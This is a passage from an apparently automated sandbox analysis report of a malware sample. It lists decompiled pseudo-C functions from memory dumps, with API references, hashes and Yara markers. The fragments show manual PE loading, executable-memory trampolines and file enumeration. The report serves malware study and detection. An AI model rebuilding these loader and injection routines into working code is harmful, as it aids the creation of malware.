0x0039ec3a
0x0039ec41
0x0039ec48

APIs

RtlInitializeCriticalSection.KERNEL32(?), ref: 0039EC2A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 3c69feef948b4068e89db3620f46d031fec93384bc045a091b2d207fde1dd282
Instruction ID: e7769a1b479aa578d63382602cc20a68ddd5fbe0e29f155307df65e7b23bc3bd
Opcode Fuzzy Hash: 3c69feef948b4068e89db3620f46d031fec93384bc045a091b2d207fde1dd282
Instruction Fuzzy Hash: F7D0C263701B118BC523F3A888827827684AF05FA0B080660E895CB745F212490403A6

Uniqueness

Uniqueness Score: -1.00%

Function 02357690, Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON

Download Yara Rule

APIs

Part of subcall function 023573C8: GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,?,00000000,02357697,?,02345105,?), ref: 023573E7
Part of subcall function 023573C8: PathFindFileNameW.SHLWAPI(00000000), ref: 023573F2
Part of subcall function 023573C8: _wcsupr.NTDLL ref: 023573FF
Part of subcall function 023573C8: lstrlenW.KERNEL32(00000000), ref: 02357407

ResumeThread.KERNEL32(00000004,?,02345105,?), ref: 023576A5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileName$FindImagePathProcessResumeThread_wcsuprlstrlen
String ID:
API String ID: 3646851950-0
Opcode ID: 557616ff973c4250d70a8d0c520d05a59a822fd0dba2ea64b122ddbd7c1e44e2
Instruction ID: a27aa9fec1cda520ea372053c5aad43d7660ec610d7799de10235f220b18a5f7
Opcode Fuzzy Hash: 557616ff973c4250d70a8d0c520d05a59a822fd0dba2ea64b122ddbd7c1e44e2
Instruction Fuzzy Hash: E2D05E70744321A6EA312B24CD08F56FEE99F01B54F00C818FD8E80078D7318520DA54

Uniqueness

Uniqueness Score: -1.00%

Function 023613BD, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 023613CA

Part of subcall function 0236151D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,0000FFFF,00023634,02340000), ref: 02361596

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHelper2@8LoadRaise___delay
String ID:
API String ID: 123106877-0
Opcode ID: 998800f61817fcae28cedf81ca32418bcd3cd2a3abb1304ecae4297a3939095f
Instruction ID: b99e87fff851f3e0ec314c3ee443cfff3cb6b3b45c1bdb1f6376bc3cc3f51c94
Opcode Fuzzy Hash: 998800f61817fcae28cedf81ca32418bcd3cd2a3abb1304ecae4297a3939095f
Instruction Fuzzy Hash: 72A011823A80023C3A0A22202E0EC3A820CC8C0F203B0E0AAF08B80A08A8800C880C30

Uniqueness

Uniqueness Score: -1.00%

Function 023613D8, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 023613CA

Part of subcall function 0236151D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,0000FFFF,00023634,02340000), ref: 02361596

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHelper2@8LoadRaise___delay
String ID:
API String ID: 123106877-0
Opcode ID: 85ca9a7f2c28f1d888cc254e4e8316239d501ff8f2ba91846b1306265c86105a
Instruction ID: 53bc3692d52aefc9778f6170c71638abbc95d42cfe11a414404caa203c3b0a22
Opcode Fuzzy Hash: 85ca9a7f2c28f1d888cc254e4e8316239d501ff8f2ba91846b1306265c86105a
Instruction Fuzzy Hash: E4A011823A8002BC3A0A22202E0EC3A820CC8C0E20330E8AAE08B80A08A88008880C30

Uniqueness

Uniqueness Score: -1.00%

Function 00431815, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00431815(void* __eax, intOrPtr _a4) {

				 *0x434148 =  *0x434148 & 0x00000000;
				_push(0);
				_push(0x434144);
				_push(1);
				_push(_a4);
				 *0x434140 = 0xc; // executed
				L004311BA(); // executed
				return __eax;
			}

0x00431815
0x0043181c
0x0043181e
0x00431823
0x00431825
0x00431829
0x00431833
0x00431838

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(00431963,00000001,00434144,00000000), ref: 00431833

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: c5a94420e192009dddfddcd5e73bea572e348970a12d5252115b1ac5a5a91a18
Instruction ID: 04c1d7172190704e103fc15b519a724b87a72e16b5216aff285af4e444dca41e
Opcode Fuzzy Hash: c5a94420e192009dddfddcd5e73bea572e348970a12d5252115b1ac5a5a91a18
Instruction Fuzzy Hash: D6C04CB4140700A7EE209F01AC4EF857A7177A8719F306519F200262E083F92094951D

Uniqueness

Uniqueness Score: -1.00%

Function 02357431, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(02367164,00000001,02367164,00000000), ref: 0235744F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: e3441ad7bc9bc5c57bd14f6d871c8a3945804a8ddae96729117e07e1db6e9032
Instruction ID: 3f09ee899afb7db3dd0a7b7148892d487317f1a3b11bc08f62b4ab47b476ca1c
Opcode Fuzzy Hash: e3441ad7bc9bc5c57bd14f6d871c8a3945804a8ddae96729117e07e1db6e9032
Instruction Fuzzy Hash: D6C04CF4590300A7F7309B109C5AF16B65DF75475DF908906F504253C883F51075C915

Uniqueness

Uniqueness Score: -1.00%

Function 004716F8, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004716F8(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x47d238, 0, _a4); // executed
				return _t2;
			}

0x00471704
0x0047170a

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0e742024735658b02930b4855337497edbb3231903cd72fd7a34159e9348afb0
Instruction ID: 867bc7c1629929d2f2e83d1b5d98721359a51f6081848730f70df2b89b3f70e7
Opcode Fuzzy Hash: 0e742024735658b02930b4855337497edbb3231903cd72fd7a34159e9348afb0
Instruction Fuzzy Hash: 05B01231800100EBDA014B50DE04F05BB31AF54700F008034F20804074C73144A1EB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00479C82, Relevance: 1.3, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00479C82(void* __eax, void* __ecx, void* __edx, void* _a4, void** _a8, intOrPtr* _a12) {
				int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				int _v40;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				void* _t40;
				void* _t45;
				void* _t54;
				void* _t56;
				int _t59;
				void* _t60;
				void* _t62;
				void* _t63;

				_t57 = __ecx;
				_t56 = _a4;
				_t59 = 0;
				_t60 = __eax;
				_v16 = 0;
				_v12 = 0;
				_a4 = 0;
				if(__eax <= 0x40) {
					L20:
					return _t59;
				}
				_t6 = _t60 - 0x40; // 0x478777
				_t40 = E00476B60(_a12, __ecx, __edx,  &_v72,  &_v16, _t56 + _t6);
				if(_t40 != 0) {
					goto L20;
				}
				_t61 = _t60 - 0x40;
				if(_v40 > _t60 - 0x40) {
					goto L20;
				}
				while( *((char*)(_t63 + _t40 - 0x34)) == 0) {
					_t40 = _t40 + 1;
					if(_t40 < 0x10) {
						continue;
					}
					_t59 = _v40;
					_t54 = E004716F8(_t59);
					_t71 = _t54;
					_a4 = _t54;
					if(_t54 != 0) {
						_t59 = 0;
						L17:
						if(_t59 != 0) {
							goto L20;
						}
						L18:
						if(_a4 != 0) {
							E004770FF(_a4);
						}
						goto L20;
					}
					memcpy(_t54, _t56, _t59);
					L7:
					_t62 = _a4;
					E0047413F(_t57, _t71, _t62, _t59,  &_v32);
					if(_v32 != _v72 || _v28 != _v68 || _v24 != _v64 || _v20 != _v60) {
						L14:
						_t59 = 0;
						goto L18;
					} else {
						 *_a8 = _t62;
						goto L17;
					}
				}
				_t45 = E00471000(_t61, _t56,  &_a4,  &_v12,  &_v56, 0); // executed
				__eflags = _t45;
				if(_t45 != 0) {
					_t59 = _v12;
					goto L17;
				}
				_t59 = _v40;
				__eflags = _v12 - _t59;
				if(__eflags >= 0) {
					goto L7;
				}
				goto L14;
			}

0x00479c82
0x00479c89
0x00479c8e
0x00479c90
0x00479c95
0x00479c98
0x00479c9b
0x00479c9e
0x00479d69
0x00479d6f
0x00479d6f
0x00479ca4
0x00479cb4
0x00479cbb
0x00000000
0x00000000
0x00479cc1
0x00479cc7
0x00000000
0x00000000
0x00479ccd
0x00479cd4
0x00479cd8
0x00000000
0x00000000
0x00479cda
0x00479cde
0x00479ce3
0x00479ce5
0x00479ce8
0x00479d50
0x00479d57
0x00479d59
0x00000000
0x00000000
0x00479d5b
0x00479d5f
0x00479d64
0x00479d64
0x00000000
0x00479d5f
0x00479ced
0x00479cf5
0x00479cf5
0x00479cfe
0x00479d09
0x00479d4c
0x00479d4c
0x00000000
0x00479d23
0x00479d26
0x00000000
0x00479d26
0x00479d09
0x00479d3b
0x00479d40
0x00479d42
0x00479d54
0x00000000
0x00479d54
0x00479d44
0x00479d47
0x00479d4a
0x00000000
0x00000000
0x00000000

APIs

memcpy.NTDLL(00000000,004787B7,00478218,00478218,?,004787B7,00478777,00000002,004787B7,004787B7), ref: 00479CED

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 25884610eb9d1e049ccdebbf942e3805a0abda2ddaa3540979dd0ae3ede6d6eb
Instruction ID: 014e5684eca7897af62165c1862c60ed254288e34e3c278cdce9982a51fedb40
Opcode Fuzzy Hash: 25884610eb9d1e049ccdebbf942e3805a0abda2ddaa3540979dd0ae3ede6d6eb
Instruction Fuzzy Hash: F7314172900108ABDF21DE99C9809EFB7BDEB54354F20C457F91DE7210D738AE458BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00431884, Relevance: 1.3, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00431884(void* __eax, void* __edx) {
				char _v8;
				void* _v12;
				void* _t17;
				long _t25;
				long _t28;
				void* _t31;
				intOrPtr* _t34;
				void* _t35;
				intOrPtr* _t36;
				intOrPtr _t38;

				_t31 = __edx;
				_t35 = __eax;
				_t17 = E004316C0( &_v8,  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) + 0x00000fff & 0xfffff000,  &_v8,  &_v12); // executed
				if(_t17 != 0) {
					_t28 = 8;
					goto L8;
				} else {
					_t34 = _v8;
					_t28 = E00431DD0( &_v8, _t34, _t35);
					if(_t28 == 0) {
						_t38 =  *((intOrPtr*)(_t34 + 0x3c)) + _t34;
						_t28 = E004313C6(_t34, _t38);
						if(_t28 == 0) {
							_t25 = E004311C0(_t38, _t31, _t34); // executed
							_t28 = _t25;
							if(_t28 == 0) {
								_push(_t25);
								_push(1);
								_push(_t34);
								if( *((intOrPtr*)( *((intOrPtr*)(_t38 + 0x28)) + _t34))() == 0) {
									_t28 = GetLastError();
								}
							}
						}
					}
					_t36 = _v12;
					 *((intOrPtr*)(_t36 + 0x18))( *((intOrPtr*)(_t36 + 0x1c))( *_t36));
					E00431590(_t36);
					L8:
					return _t28;
				}
			}

0x00431884
0x0043188c
0x004318a9
0x004318b0
0x0043190f
0x00000000
0x004318b2
0x004318b2
0x004318bc
0x004318c0
0x004318c5
0x004318ce
0x004318d2
0x004318d7
0x004318dc
0x004318e0
0x004318e5
0x004318e6
0x004318ea
0x004318ef
0x004318f7
0x004318f7
0x004318ef
0x004318e0
0x004318d2
0x004318f9
0x00431902
0x00431906
0x00431910
0x00431916
0x00431916

APIs

Part of subcall function 004316C0: GetModuleHandleA.KERNEL32(?,00000020), ref: 004316E5
Part of subcall function 004316C0: GetProcAddress.KERNEL32(00000000,?), ref: 00431707
Part of subcall function 004316C0: GetProcAddress.KERNEL32(00000000,?), ref: 0043171D
Part of subcall function 004316C0: GetProcAddress.KERNEL32(00000000,?), ref: 00431733
Part of subcall function 004316C0: GetProcAddress.KERNEL32(00000000,?), ref: 00431749
Part of subcall function 004316C0: GetProcAddress.KERNEL32(00000000,?), ref: 0043175F

Part of subcall function 00431DD0: memcpy.NTDLL(?,?,?,?,?,?,?,?,004318BC,?), ref: 00431DFD
Part of subcall function 00431DD0: memcpy.NTDLL(?,?,?), ref: 00431E30

Part of subcall function 004313C6: LoadLibraryA.KERNEL32 ref: 004313FC
Part of subcall function 004313C6: lstrlenA.KERNEL32 ref: 00431412
Part of subcall function 004313C6: memset.NTDLL ref: 0043141C
Part of subcall function 004313C6: GetProcAddress.KERNEL32(?,00000002), ref: 0043147F
Part of subcall function 004313C6: lstrlenA.KERNEL32(-00000002), ref: 00431494
Part of subcall function 004313C6: memset.NTDLL ref: 0043149E

Part of subcall function 004311C0: VirtualProtect.KERNELBASE(00000000,?,00000004,?), ref: 004311EE
Part of subcall function 004311C0: VirtualProtect.KERNELBASE(00000000,?,00000004,?), ref: 00431245
Part of subcall function 004311C0: GetLastError.KERNEL32 ref: 0043124B

GetLastError.KERNEL32 ref: 004318F1

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtuallstrlenmemcpymemset$HandleLibraryLoadModule
String ID:
API String ID: 33504255-0
Opcode ID: a0e3da8144e0e3d5e781620f8785b1267e83fc17c8a09f979181994f8d735860
Instruction ID: 873b1e802b77a28a867b13ed0db741356399dfb6cf372d2c442f9ed9e64daa04
Opcode Fuzzy Hash: a0e3da8144e0e3d5e781620f8785b1267e83fc17c8a09f979181994f8d735860
Instruction Fuzzy Hash: 7F11EC72A007116BD7206BEA9C85EAB77ACAF5C354F04153AFA01D3321EA58ED058798

Uniqueness

Uniqueness Score: -1.00%

Function 00472299, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00472299(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x47d330;
				E00472652();
				while(1) {
					_t8 = E00477AA8(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0047A0DB(_t14);
					if(_t15 == 0) {
						HeapFree( *0x47d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E00472652();
					if(_t19 != 0) {
						_t22 =  *0x47d338; // 0x3bc9dc8
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x004722a1
0x004722a5
0x004722a6
0x004722a7
0x004722ac
0x004722b1
0x004722b8
0x004722bf
0x00000000
0x00000000
0x004722c1
0x004722c6
0x004722c7
0x004722ce
0x004722e8
0x00000000
0x004722d0
0x004722d0
0x004722d2
0x004722d5
0x004722d9
0x00000000
0x00000000
0x004722db
0x004722d9
0x004722f0
0x004722f0
0x004722f2
0x004722f9
0x004722fb
0x00472301
0x00472308
0x00472318
0x00472310
0x00472313
0x00472313
0x0047231b
0x0047231b
0x00472324
0x00472324
0x004722ee
0x00000000

APIs

Part of subcall function 00472652: GetProcAddress.KERNEL32(36776F57,004722B1,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4,0047D00C,?,004791A4), ref: 0047266D

Part of subcall function 00477AA8: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 00477AD3
Part of subcall function 00477AA8: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00477AF5
Part of subcall function 00477AA8: memset.NTDLL ref: 00477B0F
Part of subcall function 00477AA8: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00477B4D
Part of subcall function 00477AA8: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00477B61
Part of subcall function 00477AA8: CloseHandle.KERNEL32(00000000), ref: 00477B78
Part of subcall function 00477AA8: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 00477B84
Part of subcall function 00477AA8: lstrcat.KERNEL32(?,642E2A5C), ref: 00477BC5
Part of subcall function 00477AA8: FindFirstFileA.KERNELBASE(?,?), ref: 00477BDB

Part of subcall function 0047A0DB: lstrlen.KERNEL32(?,00000000,0047D330,00000001,004722CC,0047D00C,0047D00C,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4), ref: 0047A0E4
Part of subcall function 0047A0DB: mbstowcs.NTDLL ref: 0047A10B
Part of subcall function 0047A0DB: memset.NTDLL ref: 0047A11D

HeapFree.KERNEL32(00000000,0047D00C,0047D00C), ref: 004722E8

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$Allocatememset$AddressCloseCreateFindFirstFreeHandleProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 172136534-0
Opcode ID: d639fd9bb714f1b3365ffbc7e8deeb691e88dcc8c09e9f39b1a4892224e51b7b
Instruction ID: be22753bb64e3a2d50acbf5894dcb7fff22353be14abcf433eb5ad825429ce0e
Opcode Fuzzy Hash: d639fd9bb714f1b3365ffbc7e8deeb691e88dcc8c09e9f39b1a4892224e51b7b
Instruction Fuzzy Hash: 7F01F532600205AAE7105FA6CF81BEE72A9EB41354F50807BBD4DE6150C6ECDD82A36E

Uniqueness

Uniqueness Score: -1.00%

Function 003816B8, Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003816B8(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x3db5ec; // 0x258bec
				while(_t29 != 0x3db5ec) {
					_t7 = _t29 + 8; // 0x2140000
					_t17 =  *_t7;
					_t8 = _t29 + 0xc; // 0x100000
					_t27 =  *_t8 + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x003816bf
0x003816c3
0x003816ca
0x003816df
0x003816e7
0x003816ed
0x003816f3
0x003816f6
0x0038173a
0x003816fe
0x003816fe
0x00381701
0x00381704
0x00381708
0x0038170a
0x0038170a
0x00381710
0x00381712
0x00381712
0x00381718
0x00381725
0x0038172c
0x0038172e
0x00381734
0x00000000
0x00381734
0x0038172c
0x00381738
0x00381738
0x00381749

APIs

VirtualAlloc.KERNEL32(02140000,?,00001000,00000004), ref: 00381725

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f833b31ef17ed8af5a7f0cbcfc312f78fb1686af704b78effe0cd9f0fb275186
Instruction ID: 645ba3c9e0a3f41412bcf50f22f71f59ab05c958238cf5e86f737cccde2dbd9c
Opcode Fuzzy Hash: f833b31ef17ed8af5a7f0cbcfc312f78fb1686af704b78effe0cd9f0fb275186
Instruction Fuzzy Hash: F211CE76A057019FC311AF28DC80A1ABBE9EFC4760F06C6ACF58887354E730AC418B40

Uniqueness

Uniqueness Score: -1.00%

Function 0039D964, Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0039D964(intOrPtr _a4, intOrPtr _a8) {
				void* _t14;
				void _t15;
				intOrPtr _t25;
				char* _t26;
				void* _t35;

				if( *0x3db88c == 0) {
					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
					_t35 = _t14;
					_t15 =  *0x3db888; // 0x180000
					 *_t35 = _t15;
					_t1 = _t35 + 4; // 0x4
					E003828C8(0x3d9408, 2, _t1);
					_t2 = _t35 + 5; // 0x5
					 *((intOrPtr*)(_t35 + 6)) = E0039D95C(_t2, E0039D93C);
					_t4 = _t35 + 0xa; // 0xa
					_t26 = _t4;
					do {
						 *_t26 = 0xe8;
						_t5 = _t35 + 4; // 0x4
						 *((intOrPtr*)(_t26 + 1)) = E0039D95C(_t26, _t5);
						 *((intOrPtr*)(_t26 + 5)) =  *0x3db88c;
						 *0x3db88c = _t26;
						_t26 = _t26 + 0xd;
					} while (_t26 - _t35 < 0xffc);
					 *0x3db888 = _t35;
				}
				_t25 =  *0x3db88c;
				 *0x3db88c =  *((intOrPtr*)(_t25 + 5));
				 *((intOrPtr*)(_t25 + 5)) = _a4;
				 *((intOrPtr*)(_t25 + 9)) = _a8;
				return  *0x3db88c;
			}

0x0039d972
0x0039d982
0x0039d987
0x0039d989
0x0039d98e
0x0039d990
0x0039d99d
0x0039d9a7
0x0039d9af
0x0039d9b2
0x0039d9b2
0x0039d9b5
0x0039d9b5
0x0039d9b8
0x0039d9c2
0x0039d9c7
0x0039d9ca
0x0039d9cc
0x0039d9d3
0x0039d9da
0x0039d9da
0x0039d9e2
0x0039d9e7
0x0039d9ec
0x0039d9f2
0x0039d9f9

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 0039D982

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: da8a4a40f75d2917ca742abcb03f170c64dab04315dc059a7d85572483d48a47
Instruction ID: 7b3ee8edf0e10beda7e9540d47261d11461084d7707d37bcba5f67063889755b
Opcode Fuzzy Hash: da8a4a40f75d2917ca742abcb03f170c64dab04315dc059a7d85572483d48a47
Instruction Fuzzy Hash: E2112A792403059BCB12EF19E882B86F7E5EF88350F11853AE9988F385D370E9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0038174C, Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0038174C(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x3db5ec; // 0x258bec
				while(_t19 != 0x3db5ec) {
					_t2 = _t19 + 8; // 0x2140000
					_t9 =  *_t2;
					_t3 = _t19 + 0xc; // 0x100000
					_t14 =  *_t3 + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x3db5c8 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x00381750
0x00381761
0x00381768
0x00381771
0x00381775
0x00381778
0x0038177b
0x003817bb
0x00381783
0x00381783
0x00381786
0x00381789
0x0038178e
0x00381790
0x00381790
0x00381795
0x00381797
0x00381797
0x0038179b
0x003817a6
0x003817ad
0x003817af
0x003817af
0x003817ad
0x003817b9
0x003817b9
0x003817c8

APIs

VirtualFree.KERNEL32(02140000,00100000,00004000,?,0000000C,?,021503E4,021543E7,003819B3), ref: 003817A6

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 73f320d2c2024c7f036a9fa9fd75d3bf6155352447282a630f056ae701253ad8
Instruction ID: fbcdce03fdb7878129ba287880215362101d3fe67f1f5b6a7d936ba43b177681
Opcode Fuzzy Hash: 73f320d2c2024c7f036a9fa9fd75d3bf6155352447282a630f056ae701253ad8
Instruction Fuzzy Hash: EC01FCB66043008FC312AF29ECC092677ADDB85320F1605BDEA9457301D376AC4687D0

Uniqueness

Uniqueness Score: -1.00%

Function 00477455, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00477455(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E0047181F(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x47d27c; // 0x374a7d0
						_t9 = _t17 + 0x47ea58; // 0x444f4340
						_t20 = E00477753( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						HeapFree( *0x47d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x00477458
0x0047745e
0x004774b5
0x00477464
0x0047746f
0x00477474
0x00477478
0x00477485
0x0047748d
0x00477499
0x004774a1
0x004774ab
0x004774ab
0x00477478
0x004774ba

APIs

